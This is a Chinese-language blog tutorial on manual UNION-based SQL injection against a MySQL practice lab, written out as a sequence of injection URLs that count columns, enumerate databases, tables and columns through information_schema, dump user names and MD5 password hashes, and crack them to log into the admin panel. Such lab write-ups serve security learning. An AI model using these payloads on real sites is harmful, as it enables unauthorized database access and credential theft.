SQL手工注入笔记1
MySQL 数据库
SQL手工注入漏洞测试(MySQL数据库)
参考链接
实战靶场链接 SQL手工注入漏洞测试(MySQL数据库)
图片链接都是我自建的博客里的,可能加载比较慢.
我的个人博客
首先先复习以下MySQL自带表中记录的信息
information_schema数据库中的
'SCHEMATA' 表记录整个数据库服务器中的库名称 ,'SCHEMA_NAME'是库名.
'TABLES'表记录每个库中的所有表名,'TABLE_SCHEMA'为库名,'TABLE_NAME'为对应的表名(多行).
'COLUMNS'表记录着服务器数据库中所有表的字段 'TABLE_SCHEMA'对应数据库名,'TABLE_NAME'对应表名,'COLUMN_NAME'对应字段名,'COLUMN_TYPE'对应字段数据类型.
确定是否可以注入
地址栏在id=1 后面输入 and 1 = 2,
http://219.153.49.228:46538/new_list.php?id=1 and 1 = 2
相当于在数据库执行了以下语句
select * from '表名未知' WHERE id = 1 and 1 = 2
在sql中,WHERE 后接条件,AND表示和,比如:
X AND Y
需要 X 和 Y同时为真,也就是同时正确,sql服务器才会返回数据,然而1=2显然是错误的,所以返回结果为空
回车发现报错,可以注入.
判断表中字段数.
浏览器地址栏输入
http://219.153.49.228:46538/new_list.php?id=1 order by 5
sql语句
select * from '表名未知' WHERE id = 1 order by 5
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OIuz6NWW-1589477975714)(https://blog.2333hbg.xyz/image/SQL/sql1/2.PNG)]
报错,证明当前表中字段不超过5个字段.
将5换为4
http://219.153.49.228:46538/new_list.php?id=1 order by 4
结果:
正常.(order by要试到最大且不报错的数字).
判断显示的文本所在的字段.
浏览器输入
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JspeTOoR-1589477975719)(https://blog.2333hbg.xyz/image/SQL/sql1/4.PNG)]
sql语句
select * from 表名 WHERE id = 1 AND 1=2 union select 1,2,3,4
可以看到本应是标题的文字变为了2,正文变为了3
union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4.
我们再去自己的数据库看看:
这是正常的查询语句
select * from 'stuinfo' WHERE id = 1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K691tanm-1589477975721)(https://blog.2333hbg.xyz/image/SQL/sql1/5.png)]
加上and 1 = 2后
select * from 'stuinfo' WHERE id = 1 and 1 = 2
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x1I3vmFK-1589477975722)(https://blog.2333hbg.xyz/image/SQL/sql1/7.png)]
and 1 = 2不成立,所以返回了空结果
再加上union select 1,2,3,4,5,6,7,8(因为我的表有八个字段)
select * from 'stuinfo' WHERE id = 1 and 1 = 2 union select 1,2,3,4,5,6,7,8
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ejKoMmxh-1589477975724)(https://blog.2333hbg.xyz/image/SQL/sql1/6.png)]
union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4,5,6,7,8.
可以看到,原来的结果全部替换为了1到8,这就是为什么标题和正文被替换成了2和3.
所以我们可以在
中的2和3替换查询我们需要的数据(字段).
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4
union为联合查询,联结两个查询语句(select*)
查询当前数据库名称和数据库版本:
浏览器输入:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,database(),version(),4
结果:
图中可以看到当前数据库名称为’mozhe_Discuz_StormGroup’,数据库版本以及服务器系统版本为’5.7.22-0ubuntu0.16.04.1’
查询整个服务器中全部库名称
这里要用到我们之前提到的’information_schema服务器数据库’中’SCHEMATA’表
我们先看看SCHEMATA表的信息(我自己的服务器)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zEAUMFDi-1589477975726)(https://blog.2333hbg.xyz/image/SQL/sql1/15.png)]
可以看到整个服务器中的数据库名都在这里.
再看看查询语句的结果:
SELECT * FROM `SCHEMATA`
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E7ApVlzP-1589477975727)(https://blog.2333hbg.xyz/image/SQL/sql1/16.png)]
可以看到列出了全部结果,如果我们只需要第一条数据怎么办?
SELECT * FROM `SCHEMATA` limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UT0CByoO-1589477975729)(https://blog.2333hbg.xyz/image/SQL/sql1/17.png)]
可以再语句后添加limit 0,1
0表示从所有结果中在第一行开始取数据,后面的1表示从取出的数据中显示一条数据.
取第二条数据:
SELECT * FROM `SCHEMATA` limit 1,1
1表示从所有结果中在第2行开始取数据,后面的1表示从取出的数据中显示一条数据.
获取靶机服务器中全部数据库名:
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3qmBXu7o-1589477975732)(https://blog.2333hbg.xyz/image/SQL/sql1/9.PNG)]
'SCHEMA_NAME’为需要查询表的字段名,from后接在哪里查询
‘information_schema.SCHEMATA’ 指的是在
information_schema这个数据库中的SCHEMATA表.
limit 0,1 是在结果中的第0行取出1行 (以为我们这里只能显示一行数据,我们只要单行结果)
所以我们得到整个服务器数据库中’information_schema’是第一个数据库
继续浏览器,将limit 0,1改为limit 1,1,取第二行
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1
结果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7wwo1MaB-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/10.PNG)]
可以看到第二个数据库为’mozhe_
Discuz_StormGroup’
继续 将limit 1,1改为limit 2,1,取第三行
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jet0O9vF-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/11.PNG)]
得到第三个数据库为’mysql’
继续 limit 2,1 > limit 3,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AleYIGl3-1589477975734)(https://blog.2333hbg.xyz/image/SQL/sql1/12.PNG)]
得到第四个数据库为’performance_schema’
继续 limit 3,1 > limit 4,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PVlRBaHb-1589477975735)(https://blog.2333hbg.xyz/image/SQL/sql1/13.PNG)]
第五个数据库为’sys’
继续 limit 4,1 > limit 5,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1
结果:
可以看到结果为空,也就是说服务器中只有五个数据库:
序号 | 库名称 |
---|---|
1 | information_schema |
2 | mozhe_Discuz_StormGroup |
3 | mysql |
4 | performance_schema |
5 | sys |
从中可以看到,只有’mozhe_
Discuz_StormGroup’这个库是和我们需要的有关联.
因此,我们需要查询下这个库中有那些表,以获得我们需要的密码.
查询指定库中所有表
查询库名称:mozhe_
Discuz_StormGroup
这里要用到information_schema库中的TABLES 表
先看看这个TABLES表结构(自己服务器):
可以看到,表中字段’TABLE_SCHEMA’对应的是库名称,同行中的’TABLE
_NAME’是这个库中的表名称.
如果说我想查询’wordpress’这个库中的全部表
SELECT * FROM `TABLES` WHERE `TABLE_SCHEMA` = 'typecho'
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JjJUvyfV-1589477975739)(https://blog.2333hbg.xyz/image/SQL/sql1/20.png)]
可以看到库名为’typecho’的库中的所有表信息.
因为我们这里只需要一行一行地查询,所以要在后面加上limit x ,x .
靶机:
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
结果:
'TABLE_NAME’为表名, from 后接库名.表名
WHERE 后接 条件
limit 0 ,1 取出结果第一条数据.
这里使用的是 查询 ‘TABLE
_SCHEMA’ 为 ‘mozhe
_
Discuz_StormGroup’ 的数据,显示查询结果中的’TABLE
_NAME’字段的信息,并只取1条
得到第一张表为’StormGroup_member’
继续 取第二条数据: limit 0,1 > limit 1,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L68JGkSK-1589477975740)(https://blog.2333hbg.xyz/image/SQL/sql1/22.PNG)]
得到第二张表为’notice’
继续 limit 1,1 > limit 2,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1
结果:
空,即是无,这个库只有两张表.
序号 | 库名 | 表名 |
---|---|---|
1 | mozhe_Discuz_StormGroup | StormGroup_member |
2 | mozhe_Discuz_StormGroup | notice |
查询表字段
这里用到information_schema库中的COLUMNS表.
先看看这张表的结构.
SELECT * FROM `COLUMNS`
直接上表吧.
字段 | 含义 | 备注 |
---|---|---|
TABLE_SCHEMA | 数据库名称 | |
TABLE_NAME | 表名 | |
COLUMN_NAME | 字段名 | |
DATA_TYPE | 字段数据类型 | 没截到,图中没有 |
如果我们要查库名为’test1’里的’stuinfo’表的话
SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` = 'test1' AND `TABLE_NAME` = 'stuinfo'
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wnguO54S-1589477975743)(https://blog.2333hbg.xyz/image/SQL/sql1/25.png)]
FROM后接表名
WHERE后接条件
AND连接两个条件,两个条件必须存在且完全正确才返回结果.前面的’and 1 = 2’就是让原来的查询结果返回空值
如果要返回一条结果,用limit.
靶机:
这次我们赌StormGroup_member表有我们需要的数据.
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wZYjvM4Q-1589477975744)(https://blog.2333hbg.xyz/image/SQL/sql1/26.PNG)]
WHERE 后面的
TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
TABLE_SCHEMA=‘库名’
TABLE
_NAME=‘表名’
limit 0,1 取第一行数据.
union后面的:
select 1,COLUMN_NAME,COLUMN_TYPE,4
分别在2和3显示’COLUMN_NAME’和’COLUMN
_TYPE’字段的数据.
图中可以看到表’StormGroup_member’第一个字段为’id’,数据类型为’int(11)’
然后继续 limit 0,1 > limit 1,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1
得到第二个字段为’name’,数据类型为’varchar(20)’
继续: limit 1,1 > limit 2,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1
第三字段为’password’ 数据类型’varchar(255)’
继续 limit 2,1 > limit 3,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1
第四字段为’status’ 数据类型’int(11)’
继续 limit 3,1 > limit 4,1
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1
空即无,我们得到了以下数据:
序号 | 数据库 | 表名 | 字段名 | 数据类型 |
---|---|---|---|---|
1 | mozhe_Discuz_StormGroup | StormGroup_member | id | int(11) |
2 | mozhe_Discuz_StormGroup | StormGroup_member | name | varchar(20) |
3 | mozhe_Discuz_StormGroup | StormGroup_member | password | varchar(255) |
4 | mozhe_Discuz_StormGroup | StormGroup_member | status | int(11) |
查询表中有几条数据
count()函数在MySQL中是统计结果的行数.
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,count(*),4 from mozhe_Discuz_StormGroup.StormGroup_member
from mozhcounte_Discuz_StormGroup.StormGroup_member
在 mozhe_Discuz_StormGroup 库中的 StormGroup_member 表查询
count(*)返回结果条数
从图中可以看到有2条记录
查询表中记录的值
因为只显示两个字段信息,先查询name和password字段.
也可以使用CONCAT()函数来连接多个字段的结果,这里使用最笨的方法.
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
得到name和password字段信息
再次查询status字段信息:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kgdJ2gZu-1589477975751)(https://blog.2333hbg.xyz/image/SQL/sql1/33.PNG)]
得到status为0.
因为之前查询到表中有两条记录,所以我们查询第二条
limit 0,1 > limit 1,1
浏览器:
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H73pfEyP-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/34.PNG)]
查status
http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8gI1Wsok-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/35.PNG)]
得到以下信息:
序号 | name | password | status |
---|---|---|---|
1 | mozhe | 356f589a7df439f6f744ff19bb8092c0 | 0 |
2 | mozhe | 625cea684400c06679e63e798755a350 | 1 |
status我感觉为1的是激活的,0为禁用的.
通常来说,password是使用MD5加密,我们去网上解密.
得到结果:
序号 | name | password | status |
---|---|---|---|
1 | mozhe | dsan13 | 0 |
2 | mozhe | 177572 | 1 |
然后登录后台,结束.